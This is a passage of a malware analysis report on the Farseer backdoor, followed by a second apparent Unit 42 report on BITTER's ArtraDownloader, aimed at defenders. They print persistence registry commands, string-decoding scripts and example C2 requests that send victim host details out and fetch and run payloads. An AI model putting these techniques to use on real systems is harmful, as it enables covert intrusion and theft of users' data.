Before we detail the Farseer malware itself, it’s worth noting another overlap we encountered during this research. Third-level domain 3w.tcpdo[.]net, as shown towards the bottom of Figure 4 below, resolved to IP 175.45.192[.]234 in 2015. This IP address relates to domains and custom Gh0st RAT malware samples, some of which are documented in this Ghost Dragon campaign report. Considering the time that’s passed since this publication, it’s harder to investigate how strong the ties are, however, the two domains used by Poison Ivy (md5c[.]net) and Farseer (3w.tcpdo[.]net) have resolved to that IP address more recently than documented in the Ghost Dragon report. Specifically, June 2015, and between July and August 2015, respectively for Poison Ivy and Farseer; these two domains and five others - adminloader[.]com, csip6[.]biz, cdncool[.]com, linkdatax[.]com and adminsysteminfo[.]com - have a common registrant, 46313@QQ[.]COM  but no such commonality exists within the set of known Ghost Dragon domains.  

It’s possible the infrastructure relates to the same group, or multiple groups, conducting various attacks against different operating systems using the various malware families described in this, and related, reports. The possible ties require further investigation. 

 

Figure 4 Maltego chart showing overlaps to Ghost Dragon campaign  

C2 Server Structure 

 As previously mentioned in the first HenBox blog, a common registrant registered seven known domains, four of which had malicious activity related to Poison Ivy and Zupdax malware families. Interestingly, all of the domains share at least one third-level domain in common, perhaps indicating a template being used for the infrastructure setup or based on the requirements of the malware’s C2 communication. Table 1 below lists the commonalities, aside from other domains such as www, mail and dns.  

Domain / Third-level Domain  info.  re.  update.  up. 
tcpdo[.]net 
  •  
 
  •  
  •  
adminsysteminfo[.]com 
  •  
  •  
  •  
 
md5c[.]net         
linkdatax[.]com 
  •  
  •  
  •  
 
csip6[.]biz 
  •  
  •  
  •  
 
adminloader[.]com   
  •  
  •  
 
cdncool[.]com 
  •  
  •  
  •  
  •  
newfacebk[.]com     
  •  
 

Table 1 Common third-level domain names 

Farseer Malware 

Now that we have introduced Farseer, and how it relates to other known malware families, let’s dive into how the malware works. This section aims to provide a description of the general behavior for this malware based on a small subset of total set of samples; a more detailed description exists in the technical appendix.

Figure 5, below, describes at a high-level the post-installation execution flow of a typical Farseer sample.

Figure 5 Farseer Execution Flow

Farseer employs the known technique of DLL sideloading - the use of trusted binaries to load malicious code – to load its payload, see Figure 5. To achieve this, the malware begins by dropping known, legitimate, signed binaries to the host. These binaries, signed by Microsoft or other vendors, are typically trusted applications when checked by antivirus software or the operating system and thus do not raise any suspicious alerts. Figure 6 below shows the import library list for both the benign PE files highlighting how the nested imports work to ultimately load sys.dll – the malicious payload. 

 Figure 6 bscmake.exe importing mspdb80.dll importing Farseer's sys.dll  

The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. More information about how the decompression and decryption can be found in the appendix.  

Once sys.dll is running, it locates a file named stub.bin located in the same folder, and in-turn loads the Farseer config file, sys.dat, on disk. The config relates to C2 communications, amongst other things.   

The following two code excerpts show the obfuscated and deobfuscated versions of this variant’s configuration file. The obfuscation routine used in this case – and many others – is simply ASCII encoding where characters are replaced with their ASCII value; other variants have used stronger, custom encryption algorithms to hide configuration data. Details are in the appendix.

The line items in the second code excerpt above are represented as follows:  

  • p1 relates to the C2 FQDN; 
  • p2 is the TCP port used for C2 – many variants use non-standard TCP ports;  
  • p3 is missing;  
  • p4 appears to be a version string of some sort, which is sent as part of the C2 communication – other variants have used strings, such as “mark”;  
  • p5 is the full file path from where the malware was launched. 

Farseer config files share some similarities with those of HenBox, as documented here and shown in Figure 7 below for convenience.  

 Figure 7 Screenshot of HenBox configuration file, setting.txt  

Both are text files, read and parsed at run-time; more often than not, the ASCII data is obfuscated using encoding methods of varying sophistication. Perhaps the most notable similarity is the notation of the content, which in both malware families:  

  • is delimited by an ‘=’ equals character; 
  • uses a single character followed by a single digit starting from 1 to begin each line; 
  • has the C2 host/FQDN on the first line; 
  • has the TCP port to use to connect the C2 on the second line; 

For persistence on the host, the Farseer malware creates a registry entry named sys under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run  

The entry runs the VBS script slmgr.vbs shown below, which executes bscmake.exe, and thus Farseer, each time a user logs on to their PC. 

 createobject("wscript.shell").run "C:\Users\[username]\AppData\Roaming\windows\bscmake.exe"  

One of the earliest Farseer samples Unit 42 analysed also used a decoy PDF document during execution. The PDF content included a copied news article from a Myanmar website that reports on news in the Southeast Asia region. The file properties of said PDF, as shown below, describe the language setting of the application that created it, together with the creation date – eight days prior to the Farseer sample that used the document. 

 Language     : zh-CN 

Author       : Administrator 

Creator      : Microsoft® Word 2013 

Create Date  : 2016:04:11 11:06:30+08:00 

Modify Date  : 2016:04:11 11:06:30+08:00 

More information about this variant of Farseer, and the decoy PDF, can be found in the appendix section. 

 Targeting 

In this case, we do not have great visibility into the targets of the Farseer malware. However, given our existing knowledge based on previous research, and around malware with closely-related infrastructure, together with certain targeting themes seen in some Farseer samples, it is highly likely that victims lay in and around the South East Asia region. 

ATT&CK Techniques Observed 

ID  Technique 
T1140  Deobfuscate / Decode Files or Information 
T1071  Standard Application Layer Protocol 
T1060  Registry Run Keys / Startup Folder 
T1045  Software Packing 
T1073  DLL Side-Loading 
T1065  Uncommonly Used Port 
T1043  Commonly Used Port 
T1328  Buy domain name 
T1319  Obfuscate or encrypt code 

 Conclusion 

The threat actors behind Farseer, and related malware including HenBox, continue to grow their armoury with the addition of this previously-unknown malware family. The overlapping infrastructure, shared TTPs and similarities in malicious code and configurations highlights the web of threats used to target victims in and around the South East Asia region and perhaps beyond.  

Farseer payloads are backdoors that beacon to pre-configured C2 servers for instructions. The malware uses various techniques to evade detection and inhibit analysis. For example, DLL sideloading using trusted, signed executables allows the malware to execute rather seamlessly; some payloads are encrypted on disk preventing analysis, especially as decompression and decryption occurs at runtime, in-memory, where code is further altered to thwart forensic analysis.  

Whereas HenBox posed a threat for devices running Android, Farseer is built to target Windows, which appears to be more typical given previous threats seen from the group or groups behind this, and related malware.  

Palo Alto Networks customers are already protected via:  

  • All samples in this report have a malicious verdict in WildFire. 
  • Traps advanced endpoint protection detects Farseer malware. 
  • Domains have been classified as malicious. 
  • AutoFocus tags are available for additional context: Farseer. 

 

Update 18th September 2019: This blog has changed to remove two references to PKPLUG as a malware family.

 Appendix 

The technical analysis of Farseer malware is described in this section. Table 2 below lists the samples we have chosen for our investigation. The list includes a couple of recent samples and the first Farseer sample seen, according to our data, to highlight key differences in the threat’s evolution.  

#  SHA256  First Seen (Pacific Time)  Key Indicator / Domain 
1  271E29FE8E23901184377AB5D0D12B40 

D485F8C404AEF0BDCC4A4148CCBB1A1A 

11/17/2018 10:11:16 pm  tcpdo[.]net:158 
2  4AB41A025624F342DEB85D798C6D6264 

A9FB88B8B3D9037CF8D5248A9F730339 

04/02/2018 

7:18:07 pm 

honor2020[.]ga:993 
3  9E08EFC73DC9145358898D2735C5F31D 

45A2571663C7F4963ABD217AE979C7CA 

04/19/2016 

6:26:15 pm 

outhmail[.]com:80 

Table 2 Samples discussed in this blog  

Farseer employs the known technique of DLL sideloading - the use of trusted binaries to load malicious code – to load its payload, see Figure 5. To achieve this, the malware begins by dropping known, legitimate, signed binaries to the host. These binaries, signed by Microsoft or other vendors, are typically trusted applications when checked by antivirus software or the operating system and thus do not raise any suspicious alerts.  This technique takes advantage of the Windows search order for loading dependencies when a program launches. By default, the Windows loader will first look for any dependency files of the executable in its current working directory. If found, the executable will then load them into memory. With this in mind, the actors place their malicious DLL’s in the same directory as the signed executable that was dropped on disk. By naming them as dependency files of that executable, the malicious code will run whenever the executable is started.  

Now that the actor has found a way to execute malicious code on the host, they use it to load their final payload, which contains the core functionality of the Farseer malware. The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. To avoid detection from users and blend with the Windows file system, the payload files themselves have innocuous or common Windows file names and extensions.   

Decompression and decryption of the payload occurs only at runtime, in-memory, and the in-memory code is altered to thwart forensic analysis. This is achieved by deconstructing the import address table (IAT) and resolving necessary API calls manually versus relying on the Windows loader.  In addition, it further avoids IAT reconstruction by using what is known as stolen code technique, wherein some of the instructions in the beginning of an API subroutine are emulated somewhere else in an allocated memory region.  This can cause unexpected results during memory analysis as the IAT API’s cannot be resolved.  We determined that the in-memory payloads are backdoors that beacon to a pre-configured command and control server (C2) for instructions.  

First, bscmake.exe runs and imports mspdb80.dll, one of its dependency files. Bscmake.exe is an older Microsoft executable that is part of Visual Studio. When mspdb80.dll is loaded, it will import its dependency files, one of which is sys.dll. It should be stated that both bscmake.exe and mspdb80.dll are known, trusted files signed by Microsoft Corporation and have not been modified. Sys.dll however is the Farseer malware and is responsible for loading the encrypted file stub.bin file in-memory and begins code execution.  

 

Figure 8 Sys.dll loading stub.bin 

 

Figure 8 illustrates the connection between sys.dll and stub.bin. When sys.dll is loaded it will look for stub.bin in the current working directory. 

C2 

The most recent Farseer sample (#1, as per Table 2 above) communicates with update.tcpdo[.]net over TCP port 158. The contents of the network communications are encoded, unlike the earlier Farseer samples that used no encoding, highlighting one of many changes in the evolution of this malware. Figure 10 below highlights some of the key differences between the three samples used in the analysis for this appendix section.  

Figure 9 Timeline for 3 Farseer samples in analysis; comparing notable differences  

Sample #2 (SHA256: 4AB41A025...) behaves almost identically as the others but with the following differences: 

  • Persistent VBS script renamed to common.vbs 
  • Encoded network communications 
  • Configuration file renamed to base.dat 
  • Encrypted and compressed configuration file 
  • Does not employ the use of any decoy documents  

This sample, seen in early April 2018, communicates with honor2020[.]ga, which started resolving to 199.247.25[.]110 in August 2018, according to Passive Total.  

Domain honor2020[.]ga bucks the trend when compared to others’ third-level domains, as per Table 1, above. From what we can tell, it has no such subdomains.  

Other Farseer samples fall into the same bucket as honor2020[.]ga. That is, they have no third-level domains, or don’t match the pattern of others, and they share no overlaps to existing infrastructure whether used by Farseer or other malware families. Examples include windowsnetwork[.]org and newfacebk[.]com. The latter does share one third-level domain with the others in Table 1 but that’s where the commonality ends. 

Reviewing the dozen or so domains resolving to 199.247.25[.]110, most also make use free ccTLDs from Freenom, including .tk and .ml as per the .ga in honor2020[.]ga. At this point, these domains and others resolving to this IP appear unrelated to Farseer, except for honor2020[.]ga that is connected to Farseer sample 4AB41A025.... It’s possible honor2020[.]ga was simply chosen during testing for this more recent Farseer sample but whatever the reason, it’s a change from the typically-used .com, .net and .org TLDs used by other samples.  

The final sample to discuss (9E08EFC73…) as per Table 2 above, is the oldest sample we have record of in AutoFocus, seen on April 19th, 2016. In this case, a decoy PDF file is dropped and executed from the victim’s %TEMP% folder as the malware continues to execute – a behavior not seen again in other Farseer samples. The PDF has filename “Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf” and file properties as shown below, describing the language setting of the application that created it, together with the creation date – eight days prior to us seeing the sample. 

Language     : zh-CN 

Author       : Administrator 

Creator      : Microsoft® Word 2013 

Create Date  : 2016:04:11 11:06:30+08:00 

Modify Date  : 2016:04:11 11:06:30+08:00 

The content of the benign PDF (shown in Figure 10 below) appears to be a direct copy / paste from old content once posted on the Irrawaddy[.]com news website; their mission “to cover the news in Burma/Myanmar and Southeast Asia accurately and impartially.” From what we can tell, the article shown in the PDF was published on the news website sometime in early April 2016, and used as a timely and potentially very topical, social engineering theme for the attack. 

Figure 10 Decoy PDF dropped by earliest version of Farseer malware  

Whilst the decoy PDF is shown to the victim, Farseer continues with the execution process by first creating a Windows sub-folder within the victims C:\Users\[username]\AppData\Roaming folder and drops into it the files listed in Table 3 below.  

Filename  Size in bytes  File Type / Comment 
bscmake.exe  77,312  Application signed by Microsoft; used in DLL sideloading technique 
mspdb80.dll  193,024  Microsoft-signed file imported by bscmake.exe 
slmgr.vbs  260  Shell-executes bscmake.exe 
stub.bin  71,767  Encrypted in-memory payload 
sys.dat  297  Config file read by stub.bin 
sys.dll  85,504  Malicious DLL loaded by benign mspdb80.dll file. 

Table 3 Farseer dropped files  

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise: 

Samples: 

271e29fe8e23901184377ab5d0d12b40d485f8c404aef0bdcc4a4148ccbb1a1a 

4ab41a025624f342deb85d798c6d6264a9fb88b8b3d9037cf8d5248a9f730339 

8ff03c13d0a78003840b7a612e372242c7def123b4fbf5ea1780f2d70eb806a1 

5a461104a2b6e313d3d0ee08c26e90db965139b1bff4a785ec297047d570340c 

a999489d95e5a94f75de4695c9579ffc88bae02048838e3523f089d970a35abb 

0c7e35ca1312204063319a3455ec14bc4b701de205503e63de584f28d99f0291 

10bd4507eb12bebc17e216e16950bf77e56c2aad01be7033bf0d5c235f2ad6e5 

d44f388842d93807c0b56399c8b7eae5b3dd76871e4908ef3d7d8a559f014fe6 

24b52403ff652416c84afed7e12ece11dc59b07f7dba5f007e117a4cfc67c1ab 

8890a06d3233ecf661c040ca5c03393c3afd620ccce49fbe08477bbf6b7d9b04 

542b2ca4fe2d7d13fa317c58f46942cdf6eb33771bb898d7be773f8ccb50b13c 

b782b4c5f8fe2ee318e50ddf985c9132bff6d48b01ea36d6825967bf89e5d0c2 

c8b2232360d5d6f56cd6b1076e5e21f0d501f5cb725e0a9b32a0ab661b4c38dd 

b82caa5087c6fd8ac79019185c6f8884f5dd9d0266bb7ad635277f3c7ca5c615 

da02edf3f33d9801d066c1f93feef33cdedc1bc7b5605498404e8cad8015729f 

1e62b7dcb503f47a6330c4dcfc49ea9d921b7d2f8c508769d27df04e61b9471d 

0306585900f1b1bddc76149352f90962c365959e44a486ba3547c80d12d56e41 

1e46c88420c657c685786bee88f606d494f3d50bcbc616b0f64d2886edd572f2 

fd8bb808c7b16cffcb83d7e86d642b5cb6e913e22df69c8dd03ce4e7498f5fdc 

f46f162ef279cc6e9c022cffe3a6685d001524e312e7a5f23bd24d76fed1fa99 

6e367e10f9c0fb818394e9517ab13c1da00b2545602c23bf6ab83e93063076b8 

3d47b99d34e169a8283062937c373264829cf6fe1c7fa0bacee135c392ca24bb 

d11d871b07520f43437183fa44bd118c01a3c4c86cffe0cc7343ae9038565cf1 

2e84de3408283423ed58764139eed4dd7e343115b943b58a46e2dc25ca2ef3c8 

7d5386253d403b74e86658699f9a6d683b7ac3065c4e2cdae192b32b9ac54edb 

2085fca368af15a1bd54f7809dfee7cdd4d73df7af88fa53fe5341f0523ca7ea 

97c04702aaa0a9018cc46ea874e7e3644146ba4d6b3b30c78a6a6430172b13c7 

4552f70d94743206489da85da2e9eb9f1eb3ad017a42edb7a60edb69e5c15a32 

75ca95ae317b1e848d54bbb01798d5b61ebcaf4328b3940b5d5f644a01f1943a 

f169b8d93ea27ab6ae24c26eaecc039a838bd7e74aef18c1e7a953283c418c30 

c1e80458ae652dbf40981dfe33bf109d1b4c85d0affbd16c8d1df6be9e233e05 

9e08efc73dc9145358898d2735c5f31d45a2571663c7f4963abd217ae979c7ca 

C2s 

cdncool[.]com 

dns.cdncool[.]com 

outhmail[.]com 

up.outhmail[.]com 

tcpdo[.]net 

sony36[.]com 

md.sony36[.]com 

newfacebk[.]com 

app.newfacebk[.]com 

windowsnetwork[.]org 

update.newfacebk[.]com 

netvovo.windowsnetwork[.]org 

honor2020[.]ga 

update.tcpdo[.]net 

adminsysteminfo[.]com 

md5c[.]net 

linkdatax[.]com 

csip6[.]biz 

adminloader[.]com 

outhmail[.]com  

cdncool[.]com 

www3.mefound[.]com 

w3.changeip[.]org 

www5.zyns[.]com  

 

108.61.197[.]172 

175.45.192[.]234 

199.247.25[.]110 

208.115.125[.]43 

43.224.33[.]130 

45.125.33[.]219 

45.32.108[.]11 

45.32.159[.]168 

45.32.24[.]39 

45.32.25[.]107 

45.32.251[.]7 

45.32.44[.]52 

45.32.53[.]250 

45.76.92[.]113 

Farseer Decoy Docs 

06C091BB0630539DEC0D26EB6BFBF9108152E4C5AF27FF649CE84238CD88F81E - Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf 

7F091DA89C4412D71AE583481F91A471751A3C0E8DB0037CF31FFD00F4245B5B –New Microsoft Word 文档.doc 

 

 

 

 

Multiple ArtraDownloader Variants Used by BITTER to Target Pakistan

Executive Summary

Since at least 2015, a suspected South Asian threat grouping known as BITTER has been targeting Pakistan and Chinese organizations using variants of a previously unreported downloader. We have named this malware family ArtraDownloader based on a PDB string discovered within the samples. We’ve observed three variants of this downloader with the earliest timestamp of February 2015.  This downloader has frequently been observed downloading the Remote Access Trojan (RAT) BitterRAT which is associated with BITTER threat operations.

Starting in September 2018 and continuing through the beginning of 2019, BITTER launched a wave of attacks targeting Pakistan and Saudi Arabia. This is the first reported instance of BITTER targeting Saudi Arabia. Details surrounding these attacks and the three ArtraDownloader variants observed are described below.

Activities

Between mid-September 2018 and January 2019, Unit 42 observed the ArtraDownloader used in the targeting of Pakistan and Saudi Arabian organizations. Several malicious documents have been identified, all communicating with likely compromised, legitimate Pakistan websites to retrieve the payload. These websites include those associated with the Pakistan government and other Pakistan organizations.

Beginning on Sep 12, 2018, we observed files with the following names hosted on the URL https://wforc[.]pk/js/.

  • Internet Data Traffic Report – August 2018.docx
  • PAF Webmail Security Report.doc.exe

The presumed spear phish targeted an employee of  an organization  in Saudi Arabia. The malicious file communicated with the C2 nethosttalk[.]com.

Around the same timeframe, two additional files (listed below) were observed being hosted on another Pakistan website. These executables, which had the following names, were hosted on the URL khurram.com[.]pk/js/drvn and communicated with the domain nethosttalk[.]com for C2.

  • Handling of Logistics.pdf[.]com
  • Cyber security work shop.pdf[.]com

Beginning on Nov 6, 2018, the URL http://rmmun.org[.]pk/svch was observed hosting two ArtraDownloader files that communicated with the domains info.viewworld71[.]com or hewle.kielsoservice[.]net.  The RMMUN, Roots Metropolitan Model United Nations, is an organized event that was held on November 8-11, 2018 which fosters collaboration and insights into issues such as human rights and economic development.

Between November 2018 and January 2019, an engineering and hydraulics company in Pakistan, almasoodgroup[.]com was observed hosting two AtraDownloader executables as well as a malicious document used to deliver a payload.  One of the files, Port Details.doc is an RTF document crafted to exploit the EQNEDT vulnerability CVE-2017-11882. This file downloaded a payload that also communicated with the domain hewle.kielsoservice[.]net. The other two files hosted on the engineering company’s domain communicated with command and control domain xiovo426[.]net.

On 2 Jan 19, the file article_amy.doc was also uploaded into VirusTotal. This document was hosted on almasoodgroup[.]com/js/cwqj and communicated with C2 domain thepandaservices.nsiagenthoster[.]net. The domain almasoodgroup[.]com appears to be a legitimate but compromised domain in this particular instance.

On December 17 and 18 2018, a file was downloaded from http://fst.gov[.]pk/images/winsvc (SHA256: ef0cb0a1…) after a user accessed the document cocktail and the dinner in the last week of dec.doc. We do not know how the user was initially enticed to execute this document. This payload is an instance of ArtraDownloader variant 1 exploits CVE-2017-11882 (EQNEDT). In this case it was observed using the command and control domain of hewle.kielsoservice[.]net/Engset.php.

Variant Comparison

In total, roughly 80 unique instances of the ArtraDownloader malware family have been discovered. Within these samples, 3 distinct variants are identified. These variants generally have minor changes between them, specifically as it pertains to string obfuscation, as well as HTTP requests.

The earliest sample identified belonging to ArtraDownloader has a compile timestamp of February 2015, which provides a rough outline as to how old this malware family is.

To date, Unit 42 has only observed this malware family downloading and executing instances of the RAT malware family associated with BITTER. A breakdown as to when each identified sample was compiled is as follows:

Figure 1 Timeline of ArtraDownloader variants based on compile timestamps

Overall, the ArtraDownloader malware family is not sophisticated, leveraging simple registry keys for persistence and HTTP requests to download and execute a remote file. Important strings within these samples are obfuscated by adding or subtracting from each byte within a string. This same obfuscation routine is used when sending data via HTTP.

Of interest, during this analysis we discovered infrastructure use overlap seen in a previously analyzed payload. In November 2017 we reported on malicious documents that were downloaded from the domain zmwardrobe[.]com and subsequently executed a payload referred to as MY24. This activity was observed through September and October 2017. In November 2017, we first observed ArtraDownloader querying the same domain; this continuing through February 2018. Both payloads were observed in InPage exploits.

For more information about the variants discovered and an in-depth analysis on each, please refer to the Appendix.

Conclusion

To date, the threat actor commonly referred to as BITTER continues to be active against various regions across the globe. They are observed targeting Pakistan, China, and Saudi Arabia using a customized downloader malware family named ArtraDownloader. This downloader, leveraging unique custom obfuscation routines downloads and executes the BitterRAT malware family via HTTP.

Multiple organizations have been affected or found to be hosting the malware used by BITTER, including the Pakistan government, an engineering company, and an electrical provider. We will continue to monitor this threat actor in the future. Palo Alto Networks customers are protected against this threat in the following ways:

  • All malware is appropriately classified as malicious in WildFire
  • Domains being used for communication by malware and URLs hosting malware are flagged as malicious
  • AutoFocus customers may use the BITTER, BITTERRAT, and ArtraDownloader tags for continued tracking of this threat.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Appendix

ArtraDownloader Malware Analysis – Variant 1

For the remainder of the analysis, the following file is used:

MD5 7cc0b212d1b8ceb808c250495d83bae4
SHA1 d2c161ce52240b61d632607a2262890327d82502
SHA256 ef0cb0a1a29bcdf2b36622f72734aec8d38326fc8f7270f78bd956e706a5fd57
Compile Timestamp 2018-12-06 11:14:45 UTC

Table 1 ArtraDownloader Variant 1 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: seal

Class Name: SEAL

Upon receiving a WM_CREATE message in this newly created window class, it will execute a new function after 20 seconds via a call to SetTimer(). This function is responsible for actually downloading and executing a remote payload and will only be called at the end of the malware’s execution.

ArtraDownloader continues to collect the following information from the victim machine:

  • Computer name
  • Operating system
  • Username

Throughout the malware’s execution, various strings are encoded to avoid detection. The following Python code may be used to decode these strings:

def decode(data):

out = ""

for d in data:

out += chr(ord(d)-1)

return out

Example:

>> print(decode("ifxmf/ljfmtptfswjdf/ofu"))

>> hewle.kielsoservice[.]net

It then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • TEMPLATES
  • NETHOOD
  • APPDATA

The ctfmon.exe file is appended to this path, which will be the destination ArtraDownloader copies itself too in the event this file does not already exist.

The malware then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • NETHOOD
  • TEMPLATES
  • APPDATA

The perfc file is appended to this path, which will be the temporary destination the malware uses when downloading a remote file.

The downloader proceeds to identify the victim’s machine GUID via the HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid registry key. If this key is successfully queried, a string with the following data is formatted:

[Computer Name]##[Username]@@[Machine GUID]

Otherwise, the following string is generated:

[Computer Name]!@[Username]

This information will be used in subsequent network requests. In order to ensure persistence, the malware modifies the host’s registry to accomplish this. The following two keys are set:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JITDfbug - "cmd /c start %Qrp% && exit"

HKCU\Environment\Qrp - [path]\ctfmon.exe

Where [path] is the previously chosen path where ArtraDownloader has copied itself. These two registry key modifications ensure that the malware executes every time the victim machine starts.

At this point in the malware’s execution flow, the previously discussed function that is executed on a 20 second timer will ultimately run. It will begin by making the following example POST request to the remote C2 server:

POST /Engset.php HTTP/1.0

Host: hewle.kielsoservice[.]net

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-length: 148

 

BCDEF=XJO.82GO2QF2BU9&MNOPQ=Xjoepxt!8!Vmujnbuf&GHIJ=Kpti!Hsvo{xfjh&UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&st=0

In this request, the POST data is encoded using the same technique witnessed on the strings. Upon decoding them, we are presented with the following:

POST Variable Description Decoded Example
BCDEF Hostname WIN-71FN1PE1AT8
MNOPQ Microsoft Windows Version Windows 7 Ultimate
GHIJ Username Josh Grunzweig
UVWXYZ Previously created string used as a unique identifier for the victim WIN-71FN1PE1AT8##Josh Grunzweig@@103be7f4-bfb8-40fa-803c-e06bdf9d3bb6
st Boolean value indicating if previously downloaded file executed successfully. 0

Table 2 Decoded POST requests in ArtraDownloader Variant 1

The expected response is as follows, where ‘qbzmpbe’ is the example encoded executable name (decoded: ‘payload’) that will be downloaded and executed:

DFCB=DWN qbzmpbe<br>

After the expected response is returned by the remote C2 server, ArtraDownloader will make the following POST request:

The above example request is using the same unique identifier that was witnessed in the previous request’s UZWXYZ POST variable.

The remote C2 server expects the response to be of the following format:

exe[hex-encoded data]&lt

Where [hex-encoded data] is the hex-encoded payload binary. The raw response is written to the perfc file, such as in the following example from a mock C2 server:

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 28

Server: Werkzeug/0.12.2 Python/2.7.15

Date: Tue, 08 Jan 2019 18:46:23 GMT

 

exe68656c6c6f20776f726c64&lt

After this file is written, the malware proceeds to decode the hex-encoded data and writes this to the previously defined filename in the same path as perfc. In our example from earlier, since payload was provided as the filename, this particular payload would be written to payload.exe. Using our example from the mock server, this file would contain the string hello world.

At this stage, the malware proceeds to open this newly created executable in a new process via a call to ShellExecuteA().  Should this be successful, ArtraDownloader will make a subsequent HTTP request to /Engset.php with the same POST parameters. However, in this request, the st POST variable is set to 1.

ArtraDownloader Malware Analysis – Variant 2

For the remainder of the analysis, the following file is used:

MD5 8d42c01180be7588a2a68ad96dd0cf85
SHA1 89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
Compile Timestamp 2019-01-07 07:13:47 UTC
PDB String c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb

Table 3 ArtraDownloader Variant 2 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: 28NovDwn

Class Name: MY28NOVDWN

The malware proceeds to decode a series of strings using a simple routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-3)&0xFF)

return out

>> print(decode(“iudphzrunvxssruw1qhw”))

>> frameworksupport[.]net

It proceeds to attempt to create the C:\intel\ directory, which is where various files will eventually be stored. It creates the following registry if it doesn’t already exist with the intent of persisting on the victim machine:

HKCU\Environment\AppId – c:\intel\msdtcv.exe

ArtraDownloader then sets the following registry key to ensure that the malware executes across reboots.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run – cmd /c start %AppId% && exit

Additionally, in a separate thread, the malware will spawn a new process to copy itself to the C:\intel\msdtcv.exe path.

Various information about the victim machine is collected, including information about the operating system, the machine’s GUID, as well as the hostname. This information will ultimately be used to both identify the victim and provide general information about the infected host.

The following example GET request is made to the remote C2 server:

GET /ourtyaz/qwe.php?TIe=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7*XJO.82GO2QF2BU9*%3aACme%3b%217%2f2%2f8712%21Tfswjdf%21Qbdl%212 HTTP/1.1

Host: frameworksupport[.]net

Connection: close

In the example request above, the data supplied in the TIe GET variable is separated by a * and the remaining data is encoded by adding one to each byte. Decoding this string, we are presented with the following:

103be7f4-bfb8-40fa-803c-e06bdf9d3bb6*WIN-71FN1PE1AT8*9@Bld: 6.1.7601 Service Pack 1

The data above includes the machine’s GUID, the victim’s hostname, as well as information about the operating system. This particular GET request is looking for the AXE: identifier, as witnessed in the following C2 response:

HTTP/1.1 200 OK

X-Powered-By: PHP/5.6.36

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Nov 2018 22:27:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

AXE: #wscspl#

SIZE: ##

In this response, the data between the # is parsed, and a subsequent request is made. Should this information be present in the response, the malware will query the CSIDL_HISTORY folder, which represents the file system directory that serves as a common repository for Internet history items. This path has the string ZX appended to it, followed by the filename used in the HTTP response, which in our example was wscspl. An example of this is as follows:

C:\Users\[username]\AppData\Local\Microsoft\Windows\HistoryZXwscspl

The HTTP request for data that will be supplied to this newly formed file path is as follows:

GET /ergdfbd/wscspl HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

The entire HTTP response is written to the previously described file path. ArtraDownloader will then parse this entire HTTP response’s POST data, extracting everything at offset 0x1 to a file path without the ZX characters, and with the .exe extension. Using our previous example, this file would be the following:

C:\Users\[username]\AppData\Local\Microsoft\Windows\Historywscspl.exe

The previously written file containing ZX in the path is removed. Finally, this file is executed in a new process. If this executable is spawned without errors, the malware will send the following example final HTTP request:

GET /ourtyaz/dwnack.php?cId=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7 HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

ArtraDownloader Malware Analysis – Variant 3

For the remainder of the analysis, the following file is used:

MD5 a1bdb1889d960e424920e57366662a59
SHA1 177837d0fa5bfd274abe79d80a01cfe2374b4cd9
SHA256 f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22
Compile Timestamp 2018-07-30 09:18:37 UTC
PDB String d:\C++\new_downloader_aroundtheworld123\Release\audiodq.pdb

Table 4 ArtraDownloader Variant 3 Sample

Upon execution, the malware begins by decoding a series of strings via a simple decoding routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-13)&0xFF)

return out

 

>> print(decode(binascii.unhexlify("6E7F7C827B71817572847C7F79713E3F403B7B7281")))

>> aroundtheworld123[.]net

 

The malware proceeds to check to determine if the AVG security product is currently running on the system, however, this information does not appear to be used by ArtraDownloader. It is possible that this might have been a remnant of testing being performed by the malware author that was unintentionally left within the sample.

Various information about the system is collected by the malware and used in subsequent HTTP requests. After this information is collected, the following example HTTP GET request is performed:

GET ///healthne/accept.php?a=WIN-71FN1PE1AT8&b=WIN-71FN1PE1AT8&c=Windows%207%20Ultimate&d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&e= HTTP/1.1

Host: aroundtheworld123[.]net

Note that unlike other variants witnessed in this malware family, this particular variant does not obfuscate data being sent across the network. The following GET parameters are used within this request:

GET Variable Description
a Hostname
b Computer name
c Operating system version
